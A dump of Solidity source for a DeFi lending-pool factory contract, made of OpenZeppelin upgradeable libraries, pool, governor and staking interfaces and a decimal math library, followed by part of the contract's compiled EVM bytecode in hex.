"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (proxy/Clones.sol)
pragma solidity ^0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library ClonesUpgradeable {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `implementation` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(
address implementation,
bytes32 salt,
address deployer
) internal pure returns (address predicted) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt)
internal
view
returns (address predicted)
{
return predictDeterministicAddress(implementation, salt, address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeCast.sol)
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCastUpgradeable {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
interface IPoolMaster {
function manager() external view returns (address);
function currency() external view returns (address);
function borrows() external view returns (uint256);
function insurance() external view returns (uint256);
function getBorrowRate() external view returns (uint256);
function getSupplyRate() external view returns (uint256);
enum State {
Active,
Warning,
ProvisionalDefault,
Default,
Closed
}
function state() external view returns (State);
function initialize(address manager_, address currency_) external;
function setRewardPerBlock(uint256 rewardPerBlock_) external;
function withdrawReward(address account) external returns (uint256);
function transferReserves() external;
function processAuctionStart() external;
function processDebtClaim() external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
interface IFlashGovernor {
function proposalEndBlock(uint32 proposalId)
external
view
returns (uint256);
function propose() external returns (uint32);
function execute(uint32 proposalId) external;
enum ProposalState {
Pending,
Active,
Defeated,
Succeeded,
Executed
}
function state(uint32 proposalId) external view returns (ProposalState);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
interface IMembershipStaking {
function managerMinimalStake() external view returns (uint256);
function getPriorVotes(address account, uint256 blockNumber)
external
view
returns (uint256);
function lockStake(address account) external returns (uint256);
function unlockStake(address account, uint256 amount) external;
function burnStake(address account, uint256 amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
library Decimal {
/// @notice Number one as 18-digit decimal
uint256 internal constant ONE = 1e18;
/**
* @notice Internal function for 10-digits decimal division
* @param number Integer number
* @param decimal Decimal number
* @return Returns multiplied numbers
*/
function mulDecimal(uint256 number, uint256 decimal)
internal
pure
returns (uint256)
{
return (number * decimal) / ONE;
}
/**
* @notice Internal function for 10-digits decimal multiplication
* @param number Integer number
* @param decimal Decimal number
* @return Returns integer number divided by second
*/
function divDecimal(uint256 number, uint256 decimal)
internal
pure
returns (uint256)
{
return (number * ONE) / decimal;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
} | 0x608060405234801561001057600080fd5b50600436106102745760003560e01c80637f8ee87f11610151578063c6e672c8116100c3578063df8f49cc11610087578063df8f49cc14610565578063f0f4426014610578578063f2fde38b1461058b578063f3fdb15a1461059e578063f5ee333e146105b1578063fce03d52146105d157600080fd5b8063c6e672c8146104f5578063cc2a9a5b146104fe578063ccd4743e14610511578063d212a64214610524578063dbaf4c931461053757600080fd5b8063924c37bc11610115578063924c37bc14610488578063926f14fb1461049b5780639a06b113146104be578063b6c8478e146104c6578063b8254533146104d9578063c6c6c237146104ec57600080fd5b80637f8ee87f1461043f578063853ed77f1461044857806389ddd0ed1461045b5780638bcd4016146104645780638da5cb5b1461047757600080fd5b80634cf088d9116101ea57806363d42de8116101ae57806363d42de8146103e357806366805de5146103f6578063715018a6146103fe57806379a76b3b146104065780637a57de79146104195780637d9f6db51461042c57600080fd5b80634cf088d91461034c57806357549778146103775780635b16ebb71461038a5780635f3e901e146103bd57806361d027b3146103d057600080fd5b8063221521151161023c57806322152115146102c457806324c259f8146102f35780632b08ed54146103065780633a9787651461031d5780633ac44917146103305780634322b7141461034357600080fd5b80630318af3014610279578063113164541461028e5780631b55b2a8146102a15780631c446983146102a9578063206eeb81146102bc575b600080fd5b61028c610287366004612408565b6105da565b005b61028c61029c366004612408565b610671565b61028c6106d0565b61028c6102b7366004612408565b610805565b61028c61088c565b6102d76102d2366004612436565b6109ec565b6040516102ea97969594939291906124ab565b60405180910390f35b61028c610301366004612408565b610ac6565b61030f60705481565b6040519081526020016102ea565b61028c61032b366004612506565b610b25565b61028c61033e36600461254d565b610bab565b61030f606c5481565b60665461035f906001600160a01b031681565b6040516001600160a01b0390911681526020016102ea565b61028c610385366004612640565b610c38565b6103ad610398366004612436565b60766020526000908152604090205460ff1681565b60405190151581526020016102ea565b61028c6103cb366004612699565b610c51565b606b5461035f906001600160a01b031681565b61028c6103f1366004612408565b610c96565b61028c610d1d565b61028c610eb9565b61028c610414366004612436565b610eef565b60675461035f906001600160a01b031681565b606a5461035f906001600160a01b031681565b61030f60715481565b61028c610456366004612408565b610f40565b61030f60725481565b61028c610472366004612436565b610f9f565b6033546001600160a01b031661035f565b61028c610496366004612705565b61103d565b6103ad6104a9366004612436565b60736020526000908152604090205460ff1681565b61028c611108565b60655461035f906001600160a01b031681565b61028c6104e7366004612408565b611283565b61030f606f5481565b61030f606e5481565b61028c61050c366004612731565b61130a565b60685461035f906001600160a01b031681565b61028c6105323660046127b3565b6114ca565b6103ad610545366004612865565b805160208183018101805160758252928201919093012091525460ff1681565b61028c610573366004612436565b611619565b61028c610586366004612436565b6116b7565b61028c610599366004612436565b611755565b60695461035f906001600160a01b031681565b6105c46105bf366004612506565b6117ed565b6040516102ea91906128a2565b61030f606d5481565b6033546001600160a01b0316331461060d5760405162461bcd60e51b8152600401610604906128b5565b60405180910390fd5b670de0b6b3a76400008111156106355760405162461bcd60e51b8152600401610604906128ea565b606e8190556040518181527f169631109feb218ebd87a3d3f4a261c1f453d59b8c58df81f261e317daa19bcb906020015b60405180910390a150565b6033546001600160a01b0316331461069b5760405162461bcd60e51b8152600401610604906128b5565b60718190556040518181527f52007c2f03441876d0fd3178f1220b82fe33e0a3f0ca1caecccbde5ab598ed6690602001610666565b3360009081526074602052604090206002810154600160a01b900463ffffffff161580159061070a575060018101546001600160a01b0316155b61073c5760405162461bcd60e51b815260206004820152600360248201526204e50560ec1b6044820152606401610604565b80546040516001600160a01b039091169033907fe662c22a1a6e153330d225b28bd9c58e5570078452bac466947d9ba4f005779790600090a380546001600160a01b031916815560028101805463ffffffff60a01b198116909155606654600383015460405163965af6c760e01b81526001600160a01b039384166004820152602481019190915291169063965af6c790604401600060405180830381600087803b1580156107ea57600080fd5b505af11580156107fe573d6000803e3d6000fd5b5050505050565b6033546001600160a01b0316331461082f5760405162461bcd60e51b8152600401610604906128b5565b670de0b6b3a76400008111156108575760405162461bcd60e51b8152600401610604906128ea565b606c8190556040518181527fc197c4ec4c97f824717acfad017c2a16643adc8874798a0899da42c6b5ebf9bf90602001610666565b3360009081526076602052604090205460ff166108d15760405162461bcd60e51b81526020600482015260036024820152620534e560ec1b6044820152606401610604565b600060746000336001600160a01b031663481c6a756040518163ffffffff1660e01b815260040160206040518083038186803b15801561091057600080fd5b505afa158015610924573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109489190612907565b6001600160a01b0390811682526020820192909252604090810160002060665460028201546003830154935163271c0a1f60e21b81529085166004820152602481019390935290935090911690639c70287c90604401600060405180830381600087803b1580156109b857600080fd5b505af11580156109cc573d6000803e3d6000fd5b5050506002820180546001600160a01b0319169055506000600390910155565b6074602052600090815260409020805460018201546002830154600384015460048501546005860180546001600160a01b039687169795871696851695600160a01b90950463ffffffff16949190610a4390612924565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6f90612924565b8015610abc5780601f10610a9157610100808354040283529160200191610abc565b820191906000526020600020905b815481529060010190602001808311610a9f57829003601f168201915b5050505050905087565b6033546001600160a01b03163314610af05760405162461bcd60e51b8152600401610604906128b5565b60728190556040518181527f778cfded5f3f9dab268a9e382a02e66dd2759d669ac1b90749e1bba2bbbb8d9c90602001610666565b6033546001600160a01b03163314610b4f5760405162461bcd60e51b8152600401610604906128b5565b6001600160a01b038216600090815260746020526040902060040154610b9d5760405162461bcd60e51b81526020600482015260036024820152624d484960e81b6044820152606401610604565b610ba782826118eb565b5050565b6033546001600160a01b03163314610bd55760405162461bcd60e51b8152600401610604906128b5565b6001600160a01b038216600081815260736020908152604091829020805460ff19168515159081179091558251938452908301527fc2b3cc1f1f7a7f8907206c8946fc4320239611c96e326d1d3648a942b53e78a5910160405180910390a15050565b610c43338383611b29565b610c4c83611c6f565b505050565b6033546001600160a01b03163314610c7b5760405162461bcd60e51b8152600401610604906128b5565b610c86848383611b29565b610c9084846118eb565b50505050565b6033546001600160a01b03163314610cc05760405162461bcd60e51b8152600401610604906128b5565b670de0b6b3a7640000811115610ce85760405162461bcd60e51b8152600401610604906128ea565b606f8190556040518181527fcc28413ad0288f8f230cbf1ab374a2114b0894c811f8cda7360b132f907eaf6090602001610666565b3360009081526076602052604090205460ff16610d625760405162461bcd60e51b81526020600482015260036024820152620534e560ec1b6044820152606401610604565b6000336001600160a01b031663481c6a756040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9d57600080fd5b505afa158015610db1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd59190612907565b6001600160a01b038181166000908152607460205260409081902080546001600160a01b03198082168355600183018054909116905560665460028301546003840154945163965af6c760e01b815290861660048201526024810194909452949550909390831692169063965af6c790604401600060405180830381600087803b158015610e6257600080fd5b505af1158015610e76573d6000803e3d6000fd5b50506040516001600160a01b0380851693508616915033907f664db0ad127809c459683f08b6ce16550bcfdd0f566174df005d8fb19207b81390600090a4505050565b6033546001600160a01b03163314610ee35760405162461bcd60e51b8152600401610604906128b5565b610eed6000611e9d565b565b33600090815260746020526040902060040154610f345760405162461bcd60e51b81526020600482015260036024820152624d484960e81b6044820152606401610604565b610f3d81611c6f565b50565b6033546001600160a01b03163314610f6a5760405162461bcd60e51b8152600401610604906128b5565b60708190556040518181527f1a0b18665805bcd7d027efbc57b03b4dce48d0eb6933b817278ab15e2c59a09390602001610666565b6033546001600160a01b03163314610fc95760405162461bcd60e51b8152600401610604906128b5565b6001600160a01b038116610fef5760405162461bcd60e51b81526004016106049061295f565b606980546001600160a01b0319166001600160a01b0383169081179091556040519081527f7902cd1307c545e3f5782172612372bf997a93698917ced12b2f83d86e347d0c90602001610666565b6033546001600160a01b031633146110675760405162461bcd60e51b8152600401610604906128b5565b604051635dc395a560e11b8152600481018290526001600160a01b0383169063bb872b4a90602401600060405180830381600087803b1580156110a957600080fd5b505af11580156110bd573d6000803e3d6000fd5b50505050816001600160a01b03167fc1ed4e3582405e9cbb9182d69d9f1688bc8389609cae352ec89916cd2abce6c8826040516110fc91815260200190565b60405180910390a25050565b336000908152607460205260409081902060675460028201549251636261738160e11b8152600160a01b90930463ffffffff16600484015290916001600160a01b039091169063c4c2e70290602401600060405180830381600087803b15801561117157600080fd5b505af1158015611185573d6000803e3d6000fd5b5050606854600092506111a191506001600160a01b0316611eef565b825460405163485cc95560e01b81523360048201526001600160a01b03918216602482015291925082169063485cc95590604401600060405180830381600087803b1580156111ef57600080fd5b505af1158015611203573d6000803e3d6000fd5b50505050600182810180546001600160a01b0319166001600160a01b038481169182179092556000818152607660209081526040808320805460ff191690961790955586549451918252939092169233927f2f50e78ec41ff359ae53695bfffb5c9bae020d7db3779e5f666a3a020ef062b4910160405180910390a45050565b6033546001600160a01b031633146112ad5760405162461bcd60e51b8152600401610604906128b5565b670de0b6b3a76400008111156112d55760405162461bcd60e51b8152600401610604906128ea565b606d8190556040518181527fd0adc37e0b2ec342d9e4c6078be50e5086aa26de80756b254a4e51d7f780784090602001610666565b600054610100900460ff1680611323575060005460ff16155b61133f5760405162461bcd60e51b81526004016106049061297c565b600054610100900460ff16158015611361576000805461ffff19166101011790555b6001600160a01b0387166113875760405162461bcd60e51b81526004016106049061295f565b6001600160a01b0386166113ad5760405162461bcd60e51b81526004016106049061295f565b6001600160a01b0385166113d35760405162461bcd60e51b81526004016106049061295f565b6001600160a01b0384166113f95760405162461bcd60e51b81526004016106049061295f565b6001600160a01b03831661141f5760405162461bcd60e51b81526004016106049061295f565b6001600160a01b0382166114455760405162461bcd60e51b81526004016106049061295f565b61144d611f8c565b606580546001600160a01b03199081166001600160a01b038a811691909117909255606680548216898416179055606780548216888416179055606880548216878416179055606980548216868416179055606a805490911691841691909117905580156114c1576000805461ff00191690555b50505050505050565b6000805b82518110156115fb57607660008483815181106114ed576114ed6129ca565b6020908102919091018101516001600160a